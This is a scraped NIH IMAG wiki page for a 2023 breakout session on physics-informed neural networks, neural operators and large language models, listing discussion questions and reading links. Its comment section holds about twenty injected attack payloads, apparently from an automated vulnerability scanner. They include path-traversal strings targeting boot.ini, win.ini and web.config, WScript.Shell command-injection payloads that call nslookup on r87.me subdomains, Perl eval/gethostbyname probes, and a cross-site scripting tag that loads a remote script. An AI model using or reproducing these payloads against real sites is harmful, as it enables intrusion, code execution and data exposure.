Back to 2023 Agenda

Back to main Breakout Session page

2. New Mechanistic-ML Methods: PINN, transformer, neural operators, XAI, Large Language Models

MSM lead: George Karniadakis; IMAG lead: Mauricio Rangel-Gomez, Ilana Goldberg, Julia Berzhanskaya

What are the similarities and differences between current methods; e.g. PINN, neural operator, transformer, XAI, Large Language models?
What are the opportunities to improve these methods?
How can these methods be applied to blood diagnostics an diseases as it pertains to the IMAG interest group AI and Machine Learning for Blood Diagnostics and Diseases | Interagency Modeling and Analysis Group (nih.gov)?
How can these methods be applied to neuroscience?
How can these methods be used in the IMAG initiatives discussed in Session 2.1?
How can we use biomechanistic and bioinformatics models synenergistically?
Graph neural networks and causal inference.
Uncertainty quantification in neural networks.

Resources:

Articles of Interest:

Stop explaining black box machine learning models for high stakes decisions and use interpretable models instead

[2303.12093] ChatGPT for Programming Numerical Methods (arxiv.org)

4 Ideas for Physics-Informed Neural Networks that FAILED | by Rafael Bischof | Towards Data Science

10 Exciting Project Ideas Using Large Language Models (LLMs) for Your Portfolio | by Leonie Monigatti | May, 2023 | Towards Data Science

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

A Deep convolutional neural network for classification of red blood cells in sickle cell anemia

NIH Announcements:

NIMH » Explainable Artificial Intelligence for Decoding and Modulating Behaviorally-Activated Brain Circuits (nih.gov)

NOT-MH-23-110: Notice of Special Interest (NOSI): Explainable Artificial Intelligence for Decoding and Modulating Neural Circuit Activity Linked to Behavior (nih.gov)

May 31, 2023: NIH Pragmatic Trials Collaboratory Announces Virtual Workshop on Getting the Right Evidence to Decision-Makers Faster - Rethinking Clinical Trials

IMAG wiki: Models, Tools and Databases

MSM Theoretical and Computational Methods WG

2019 IMAG ML-MSM Meeting

Publication from 2019 ML-MSM meeting

Comment

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

Comment

+createobject("WScript.Shell").exec("nslookup zt9p3ydc3aaogfzwuxxeiyolzk8590i7la6k-eiu" & "qtg.r87.me").StdOut.ReadAll

Comment

file%3a%2f%2f%2fboot.ini

Comment

+createobject("WScript.Shell").exec("nslookup zt9p3ydc3ad7yhkhxfkkpaaj1izphjadfms2blfq" & "vsu.r87.me").StdOut.ReadAll+

Comment

+createobject("WScript.Shell").exec("nslookup zt9p3ydc3apwifuy1ki_vefg7k0tskpqloe-xcwh" & "q0g.r87.me").StdOut.ReadAll+

Comment

c%3a%5cboot.ini

Comment

<%createobject("WScript.Shell").exec("nslookup zt9p3ydc3aosrfm1vyru4bgc68tdlxizk_7hvowd" & "ily.r87.me").StdOut.ReadAll%>

Comment

/../../../../../../../../../../web.config

Comment

<%createobject("WScript.Shell").exec("nslookup zt9p3ydc3ambynqvbqneqqoccsjhf6zdw4wzqn7r" & "t9o.r87.me").StdOut.ReadAll%>

Comment

'"--></style></scRipt><scRipt src="//zt9p3ydc3anvzctcf2lv3tof3m1vxmiwa8vrhg3nxbk.r87.me"></scRipt>

Comment

/../../../../../../../../../../windows/win.ini

Comment

"+createobject("WScript.Shell").exec("nslookup zt9p3ydc3aeg7_od8sztyqyrfueg7esox3zlxlex" & "tym.r87.me").StdOut.ReadAll+"

Comment

"+createobject("WScript.Shell").exec("nslookup zt9p3ydc3aheyglewxt0hxmnyi91rveldxy9bxrp" & "uly.r87.me").StdOut.ReadAll+"

Comment

file:///windows/win.ini

Comment

gethostbyname(lc 'zt9p3ydc3agfgki5x8x9vc8zzgy3w0c6ib7zkcvt'.'0qs.r87.me')

Comment

/../../../../../../../../../../windows/win.ini.php

Comment

gethostbyname(lc 'zt9p3ydc3asrfc_5ohwzguwrah8poxsksykbotj3'.'m_0.r87.me')

Comment

c:\windows\win.ini

Comment

eval('gethostbyname(lc 'zt9p3ydc3axiwvdklkpwa5c2ua8aha0sgnsxuzm6'.'-ds.r87.me')')

Breakout 2 - New Mechanistic-ML Methods

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

NIH Announcements:

Comment